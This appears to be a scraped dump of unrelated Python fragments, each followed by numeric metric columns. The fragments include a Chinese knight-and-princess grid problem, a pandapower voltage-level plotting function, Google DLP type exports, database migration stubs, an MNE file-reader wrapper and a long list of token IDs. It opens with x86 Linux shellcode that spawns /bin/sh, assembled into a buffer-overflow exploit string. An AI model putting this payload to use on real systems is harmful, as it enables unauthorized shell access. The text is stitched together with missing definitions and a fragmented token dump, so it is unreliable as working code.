shellcode = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
exploit = padding + shellcode_addr + shellcode
print exploit
| [
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] | 2.215 | 200 |
"""
给定一个二维数组map，含义是一张地图，例如，如下矩阵：
-2 -3 3
-5 -10 1
0 30 -5
游戏规则如下：
（1）骑士从左上角出发，每次只能向右或者向下走，最后到达右下角见到公主。
（2）地图中每个位置的值代表骑士要遭遇的事情。如果是负数，说明此处有怪兽，
要让骑士掉血。如果是非负数，则代表此处有血瓶，能让骑士回血。
（3）骑士从左上角到右下角的过程中，走到任何一个位置，血量都不能少于1.
为了保证骑士能见到公主，初始血量至少是多少？根据map，返回初始血量。
"""
if __name__ == '__main__':
my_map = [[-2, -3, 3], [-5, -10, 1], [10, 30, -5]]
print(DungenonGame.get_min_hp(my_map)) | [
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] | 0.715909 | 528 |
# -*- coding: utf-8 -*-
# Copyright (c) 2016-2018 by University of Kassel and Fraunhofer Institute for Energy Economics
# and Energy System Technology (IEE), Kassel. All rights reserved.
import pandas as pd
from pandapower.plotting.generic_geodata import create_generic_coordinates
from pandapower.plotting.plotly.traces import create_bus_trace, create_line_trace, create_trafo_trace, draw_traces, \
version_check
from pandapower.plotting.plotly.get_colors import get_plotly_color_palette
from pandapower.plotting.plotly.mapbox_plot import *
from pandapower.topology import create_nxgraph, connected_components
try:
import pplog as logging
except ImportError:
import logging
logger = logging.getLogger(__name__)
def vlevel_plotly(net, respect_switches=True, use_line_geodata=None, colors_dict=None, on_map=False,
projection=None, map_style='basic', figsize=1, aspectratio='auto', line_width=2,
bus_size=10):
"""
Plots a pandapower network in plotly
using lines/buses colors according to the voltage level they belong to.
If no geodata is available, artificial geodata is generated. For advanced plotting see the tutorial
INPUT:
**net** - The pandapower format network. If none is provided, mv_oberrhein() will be
plotted as an example
OPTIONAL:
**respect_switches** (bool, True) - Respect switches when artificial geodata is created
**use_line_geodata** (bool, True) - defines if lines patches are based on net.line_geodata of the lines (True)
or on net.bus_geodata of the connected buses (False)
*colors_dict** (dict, None) - dictionary for customization of colors for each voltage level in the form:
voltage_kv : color
**on_map** (bool, False) - enables using mapbox plot in plotly If provided geodata are not real
geo-coordinates in lon/lat form, on_map will be set to False.
**projection** (String, None) - defines a projection from which network geo-data will be transformed to
lat-long. For each projection a string can be found at http://spatialreference.org/ref/epsg/
**map_style** (str, 'basic') - enables using mapbox plot in plotly
- 'streets'
- 'bright'
- 'light'
- 'dark'
- 'satellite'
**figsize** (float, 1) - aspectratio is multiplied by it in order to get final image size
**aspectratio** (tuple, 'auto') - when 'auto' it preserves original aspect ratio of the network geodata
any custom aspectration can be given as a tuple, e.g. (1.2, 1)
**line_width** (float, 1.0) - width of lines
**bus_size** (float, 10.0) - size of buses to plot.
"""
version_check()
# create geocoord if none are available
if 'line_geodata' not in net:
net.line_geodata = pd.DataFrame(columns=['coords'])
if 'bus_geodata' not in net:
net.bus_geodata = pd.DataFrame(columns=["x", "y"])
if len(net.line_geodata) == 0 and len(net.bus_geodata) == 0:
logger.warning("No or insufficient geodata available --> Creating artificial coordinates." +
" This may take some time")
create_generic_coordinates(net, respect_switches=respect_switches)
if on_map:
logger.warning("Map plots not available with artificial coordinates and will be disabled!")
on_map = False
# check if geodata are real geographycal lat/lon coordinates using geopy
if on_map and projection is not None:
geo_data_to_latlong(net, projection=projection)
# if bus geodata is available, but no line geodata
if use_line_geodata is None:
use_line_geodata = False if len(net.line_geodata) == 0 else True
elif use_line_geodata and len(net.line_geodata) == 0:
logger.warning("No or insufficient line geodata available --> only bus geodata will be used.")
use_line_geodata = False
# getting connected componenets without consideration of trafos
graph = create_nxgraph(net, include_trafos=False)
vlev_buses = connected_components(graph)
# getting unique sets of buses for each voltage level
vlev_bus_dict = {}
for vl_buses in vlev_buses:
if net.bus.loc[vl_buses, 'vn_kv'].unique().shape[0] > 1:
logger.warning('buses from the same voltage level does not have the same vn_kv !?')
vn_kv = net.bus.loc[vl_buses, 'vn_kv'].unique()[0]
if vlev_bus_dict.get(vn_kv):
vlev_bus_dict[vn_kv].update(vl_buses)
else:
vlev_bus_dict[vn_kv] = vl_buses
# create a default colormap for voltage levels
nvlevs = len(vlev_bus_dict)
colors = get_plotly_color_palette(nvlevs)
colors_dict = dict(zip(vlev_bus_dict.keys(), colors))
# creating traces for buses and lines for each voltage level
bus_traces = []
line_traces = []
for vn_kv, buses_vl in vlev_bus_dict.items():
vlev_color = colors_dict[vn_kv]
bus_trace_vlev = create_bus_trace(net, buses=buses_vl, size=bus_size, legendgroup=str(vn_kv),
color=vlev_color, trace_name='buses {0} kV'.format(vn_kv))
if bus_trace_vlev is not None:
bus_traces += bus_trace_vlev
vlev_lines = net.line[net.line.from_bus.isin(buses_vl) & net.line.to_bus.isin(buses_vl)].index.tolist()
line_trace_vlev = create_line_trace(net, lines=vlev_lines, use_line_geodata=use_line_geodata,
respect_switches=respect_switches, legendgroup=str(vn_kv),
color=vlev_color, width=line_width, trace_name='lines {0} kV'.format(vn_kv))
if line_trace_vlev is not None:
line_traces += line_trace_vlev
trafo_traces = create_trafo_trace(net, color='gray', width=line_width * 2)
draw_traces(line_traces + trafo_traces + bus_traces, showlegend=True,
aspectratio=aspectratio, on_map=on_map, map_style=map_style, figsize=figsize)
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] | 2.421095 | 2,503 |
__all__ = ['_py2', '_str', '_buffer', '_raise']
_py2 = False
_str = str
_buffer = memoryview
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from __future__ import absolute_import
from __future__ import print_function
# This will make all the math functions of torch available
from torch import *
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] | 4.361111 | 36 |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from .dlp import (
Action,
ActivateJobTriggerRequest,
AnalyzeDataSourceRiskDetails,
BoundingBox,
BucketingConfig,
ByteContentItem,
CancelDlpJobRequest,
CharacterMaskConfig,
CharsToIgnore,
Color,
Container,
ContentItem,
ContentLocation,
CreateDeidentifyTemplateRequest,
CreateDlpJobRequest,
CreateInspectTemplateRequest,
CreateJobTriggerRequest,
CreateStoredInfoTypeRequest,
CryptoDeterministicConfig,
CryptoHashConfig,
CryptoKey,
CryptoReplaceFfxFpeConfig,
DateShiftConfig,
DateTime,
DeidentifyConfig,
DeidentifyContentRequest,
DeidentifyContentResponse,
DeidentifyTemplate,
DeleteDeidentifyTemplateRequest,
DeleteDlpJobRequest,
DeleteInspectTemplateRequest,
DeleteJobTriggerRequest,
DeleteStoredInfoTypeRequest,
DlpJob,
DocumentLocation,
Error,
ExcludeInfoTypes,
ExclusionRule,
FieldTransformation,
Finding,
FinishDlpJobRequest,
FixedSizeBucketingConfig,
GetDeidentifyTemplateRequest,
GetDlpJobRequest,
GetInspectTemplateRequest,
GetJobTriggerRequest,
GetStoredInfoTypeRequest,
HybridContentItem,
HybridFindingDetails,
HybridInspectDlpJobRequest,
HybridInspectJobTriggerRequest,
HybridInspectResponse,
HybridInspectStatistics,
ImageLocation,
InfoTypeDescription,
InfoTypeStats,
InfoTypeTransformations,
InspectConfig,
InspectContentRequest,
InspectContentResponse,
InspectDataSourceDetails,
InspectionRule,
InspectionRuleSet,
InspectJobConfig,
InspectResult,
InspectTemplate,
JobTrigger,
KmsWrappedCryptoKey,
LargeCustomDictionaryConfig,
LargeCustomDictionaryStats,
ListDeidentifyTemplatesRequest,
ListDeidentifyTemplatesResponse,
ListDlpJobsRequest,
ListDlpJobsResponse,
ListInfoTypesRequest,
ListInfoTypesResponse,
ListInspectTemplatesRequest,
ListInspectTemplatesResponse,
ListJobTriggersRequest,
ListJobTriggersResponse,
ListStoredInfoTypesRequest,
ListStoredInfoTypesResponse,
Location,
Manual,
MetadataLocation,
OutputStorageConfig,
PrimitiveTransformation,
PrivacyMetric,
QuasiId,
QuoteInfo,
Range,
RecordCondition,
RecordLocation,
RecordSuppression,
RecordTransformations,
RedactConfig,
RedactImageRequest,
RedactImageResponse,
ReidentifyContentRequest,
ReidentifyContentResponse,
ReplaceDictionaryConfig,
ReplaceValueConfig,
ReplaceWithInfoTypeConfig,
RiskAnalysisJobConfig,
Schedule,
StatisticalTable,
StorageMetadataLabel,
StoredInfoType,
StoredInfoTypeConfig,
StoredInfoTypeStats,
StoredInfoTypeVersion,
Table,
TableLocation,
TimePartConfig,
TransformationErrorHandling,
TransformationOverview,
TransformationSummary,
TransientCryptoKey,
UnwrappedCryptoKey,
UpdateDeidentifyTemplateRequest,
UpdateInspectTemplateRequest,
UpdateJobTriggerRequest,
UpdateStoredInfoTypeRequest,
Value,
ValueFrequency,
ContentOption,
DlpJobType,
InfoTypeSupportedBy,
MatchingType,
MetadataType,
RelationalOperator,
StoredInfoTypeState,
)
from .storage import (
BigQueryField,
BigQueryKey,
BigQueryOptions,
BigQueryTable,
CloudStorageFileSet,
CloudStorageOptions,
CloudStoragePath,
CloudStorageRegexFileSet,
CustomInfoType,
DatastoreKey,
DatastoreOptions,
EntityId,
FieldId,
HybridOptions,
InfoType,
Key,
KindExpression,
PartitionId,
RecordKey,
StorageConfig,
StoredType,
TableOptions,
FileType,
Likelihood,
)
__all__ = (
"Action",
"ActivateJobTriggerRequest",
"AnalyzeDataSourceRiskDetails",
"BoundingBox",
"BucketingConfig",
"ByteContentItem",
"CancelDlpJobRequest",
"CharacterMaskConfig",
"CharsToIgnore",
"Color",
"Container",
"ContentItem",
"ContentLocation",
"CreateDeidentifyTemplateRequest",
"CreateDlpJobRequest",
"CreateInspectTemplateRequest",
"CreateJobTriggerRequest",
"CreateStoredInfoTypeRequest",
"CryptoDeterministicConfig",
"CryptoHashConfig",
"CryptoKey",
"CryptoReplaceFfxFpeConfig",
"DateShiftConfig",
"DateTime",
"DeidentifyConfig",
"DeidentifyContentRequest",
"DeidentifyContentResponse",
"DeidentifyTemplate",
"DeleteDeidentifyTemplateRequest",
"DeleteDlpJobRequest",
"DeleteInspectTemplateRequest",
"DeleteJobTriggerRequest",
"DeleteStoredInfoTypeRequest",
"DlpJob",
"DocumentLocation",
"Error",
"ExcludeInfoTypes",
"ExclusionRule",
"FieldTransformation",
"Finding",
"FinishDlpJobRequest",
"FixedSizeBucketingConfig",
"GetDeidentifyTemplateRequest",
"GetDlpJobRequest",
"GetInspectTemplateRequest",
"GetJobTriggerRequest",
"GetStoredInfoTypeRequest",
"HybridContentItem",
"HybridFindingDetails",
"HybridInspectDlpJobRequest",
"HybridInspectJobTriggerRequest",
"HybridInspectResponse",
"HybridInspectStatistics",
"ImageLocation",
"InfoTypeDescription",
"InfoTypeStats",
"InfoTypeTransformations",
"InspectConfig",
"InspectContentRequest",
"InspectContentResponse",
"InspectDataSourceDetails",
"InspectionRule",
"InspectionRuleSet",
"InspectJobConfig",
"InspectResult",
"InspectTemplate",
"JobTrigger",
"KmsWrappedCryptoKey",
"LargeCustomDictionaryConfig",
"LargeCustomDictionaryStats",
"ListDeidentifyTemplatesRequest",
"ListDeidentifyTemplatesResponse",
"ListDlpJobsRequest",
"ListDlpJobsResponse",
"ListInfoTypesRequest",
"ListInfoTypesResponse",
"ListInspectTemplatesRequest",
"ListInspectTemplatesResponse",
"ListJobTriggersRequest",
"ListJobTriggersResponse",
"ListStoredInfoTypesRequest",
"ListStoredInfoTypesResponse",
"Location",
"Manual",
"MetadataLocation",
"OutputStorageConfig",
"PrimitiveTransformation",
"PrivacyMetric",
"QuasiId",
"QuoteInfo",
"Range",
"RecordCondition",
"RecordLocation",
"RecordSuppression",
"RecordTransformations",
"RedactConfig",
"RedactImageRequest",
"RedactImageResponse",
"ReidentifyContentRequest",
"ReidentifyContentResponse",
"ReplaceDictionaryConfig",
"ReplaceValueConfig",
"ReplaceWithInfoTypeConfig",
"RiskAnalysisJobConfig",
"Schedule",
"StatisticalTable",
"StorageMetadataLabel",
"StoredInfoType",
"StoredInfoTypeConfig",
"StoredInfoTypeStats",
"StoredInfoTypeVersion",
"Table",
"TableLocation",
"TimePartConfig",
"TransformationErrorHandling",
"TransformationOverview",
"TransformationSummary",
"TransientCryptoKey",
"UnwrappedCryptoKey",
"UpdateDeidentifyTemplateRequest",
"UpdateInspectTemplateRequest",
"UpdateJobTriggerRequest",
"UpdateStoredInfoTypeRequest",
"Value",
"ValueFrequency",
"ContentOption",
"DlpJobType",
"InfoTypeSupportedBy",
"MatchingType",
"MetadataType",
"RelationalOperator",
"StoredInfoTypeState",
"BigQueryField",
"BigQueryKey",
"BigQueryOptions",
"BigQueryTable",
"CloudStorageFileSet",
"CloudStorageOptions",
"CloudStoragePath",
"CloudStorageRegexFileSet",
"CustomInfoType",
"DatastoreKey",
"DatastoreOptions",
"EntityId",
"FieldId",
"HybridOptions",
"InfoType",
"Key",
"KindExpression",
"PartitionId",
"RecordKey",
"StorageConfig",
"StoredType",
"TableOptions",
"FileType",
"Likelihood",
)
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] | 2.696989 | 3,089 |
__author__ = 'wenbin'
| [
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"""empty message
Revision ID: e96fe0cc3a92
Revises: f1ffa6279209
Create Date: 2017-07-19 09:03:31.402092
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'e96fe0cc3a92'
down_revision = 'f1ffa6279209'
branch_labels = None
depends_on = None
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] | 2.471074 | 121 |
# ----------------------------------------------------------------------
# event lifecycle
# ----------------------------------------------------------------------
# Copyright (C) 2007-2019 The NOC Project
# See LICENSE for details
# ----------------------------------------------------------------------
# Third-party modules
from django.db import models
# NOC modules
from noc.core.migration.base import BaseMigration
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"""Generic wrapper function read_raw for specific read_raw_xxx readers."""
# Authors: Clemens Brunner <[email protected]>
#
# License: BSD (3-clause)
from pathlib import Path
from functools import partial
from . import (read_raw_edf, read_raw_bdf, read_raw_gdf, read_raw_brainvision,
read_raw_fif, read_raw_eeglab, read_raw_cnt, read_raw_egi,
read_raw_eximia, read_raw_nirx, read_raw_fieldtrip,
read_raw_artemis123, read_raw_nicolet, read_raw_kit,
read_raw_ctf, read_raw_boxy)
from ..utils import fill_doc
# supported read file formats
supported = {".edf": read_raw_edf,
".bdf": read_raw_bdf,
".gdf": read_raw_gdf,
".vhdr": read_raw_brainvision,
".fif": read_raw_fif,
".fif.gz": read_raw_fif,
".set": read_raw_eeglab,
".cnt": read_raw_cnt,
".mff": read_raw_egi,
".nxe": read_raw_eximia,
".hdr": read_raw_nirx,
".mat": read_raw_fieldtrip,
".bin": read_raw_artemis123,
".data": read_raw_nicolet,
".sqd": read_raw_kit,
".ds": read_raw_ctf,
".txt": read_raw_boxy}
# known but unsupported file formats
suggested = {".vmrk": partial(_read_unsupported, suggest=".vhdr"),
".eeg": partial(_read_unsupported, suggest=".vhdr")}
# all known file formats
readers = {**supported, **suggested}
@fill_doc
def read_raw(fname, *, preload=False, verbose=None, **kwargs):
"""Read raw file.
This function is a convenient wrapper for readers defined in `mne.io`. The
correct reader is automatically selected based on the detected file format.
All function arguments are passed to the respective reader.
The following readers are currently supported:
`~mne.io.read_raw_artemis123`, `~mne.io.read_raw_bdf`,
`~mne.io.read_raw_boxy`, `~mne.io.read_raw_brainvision`,
`~mne.io.read_raw_cnt`, `~mne.io.read_raw_ctf`, `~mne.io.read_raw_edf`,
`~mne.io.read_raw_eeglab`, `~mne.io.read_raw_egi`,
`~mne.io.read_raw_eximia`, `~mne.io.read_raw_fieldtrip`,
`~mne.io.read_raw_fif`, `~mne.io.read_raw_gdf`, `~mne.io.read_raw_kit`,
`~mne.io.read_raw_nicolet`, and `~mne.io.read_raw_nirx`.
Parameters
----------
fname : path-like
Name of the file to read.
%(preload)s
%(verbose)s
**kwargs
Additional keyword arguments to pass to the underlying reader. For
details, see the arguments of the reader for the respective file
format.
Returns
-------
raw : mne.io.Raw
Raw object.
"""
ext = "".join(Path(fname).suffixes)
if ext in readers:
return readers[ext](fname, preload=preload, verbose=verbose, **kwargs)
else:
_read_unsupported(fname)
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220,
220,
220,
220,
27071,
14116,
1298,
1100,
62,
1831,
62,
3524,
88,
92,
198,
198,
2,
1900,
475,
24222,
2393,
17519,
198,
47811,
276,
796,
1391,
1911,
14761,
81,
74,
1298,
13027,
28264,
961,
62,
403,
15999,
11,
1950,
28,
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85,
71,
7109,
12340,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
27071,
1453,
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13027,
28264,
961,
62,
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15999,
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28,
1911,
85,
71,
7109,
4943,
92,
198,
198,
2,
477,
1900,
2393,
17519,
198,
961,
364,
796,
1391,
1174,
15999,
11,
12429,
47811,
276,
92,
628,
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31,
20797,
62,
15390,
198,
4299,
1100,
62,
1831,
7,
69,
3672,
11,
1635,
11,
662,
2220,
28,
25101,
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15942,
577,
28,
14202,
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12429,
46265,
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220,
37227,
5569,
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2393,
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628,
220,
220,
220,
770,
2163,
318,
257,
11282,
29908,
329,
7183,
5447,
287,
4600,
76,
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13,
952,
44646,
383,
198,
220,
220,
220,
3376,
9173,
318,
6338,
6163,
1912,
319,
262,
12326,
2393,
5794,
13,
198,
220,
220,
220,
1439,
2163,
7159,
389,
3804,
284,
262,
11756,
9173,
13,
628,
220,
220,
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383,
1708,
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389,
3058,
4855,
25,
628,
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4600,
93,
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433,
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62,
1831,
62,
32986,
87,
44646,
628,
220,
220,
220,
40117,
198,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
277,
3672,
1058,
3108,
12,
2339,
198,
220,
220,
220,
220,
220,
220,
220,
6530,
286,
262,
2393,
284,
1100,
13,
198,
220,
220,
220,
4064,
7,
3866,
2220,
8,
82,
198,
220,
220,
220,
4064,
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19011,
577,
8,
82,
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220,
220,
12429,
46265,
22046,
198,
220,
220,
220,
220,
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15891,
21179,
7159,
284,
1208,
284,
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13,
1114,
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220,
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3307,
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2393,
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220,
220,
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5794,
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628,
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220,
220,
16409,
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220,
220,
220,
35656,
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27369,
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220,
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220,
220,
220,
16089,
2134,
13,
198,
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220,
220,
37227,
198,
220,
220,
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1070,
796,
366,
1911,
22179,
7,
15235,
7,
69,
3672,
737,
37333,
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274,
8,
198,
220,
220,
220,
611,
1070,
287,
7183,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
7183,
58,
2302,
16151,
69,
3672,
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662,
2220,
28,
3866,
2220,
11,
15942,
577,
28,
19011,
577,
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12429,
46265,
22046,
8,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
961,
62,
403,
15999,
7,
69,
3672,
8,
198
] | 2.144144 | 1,332 |
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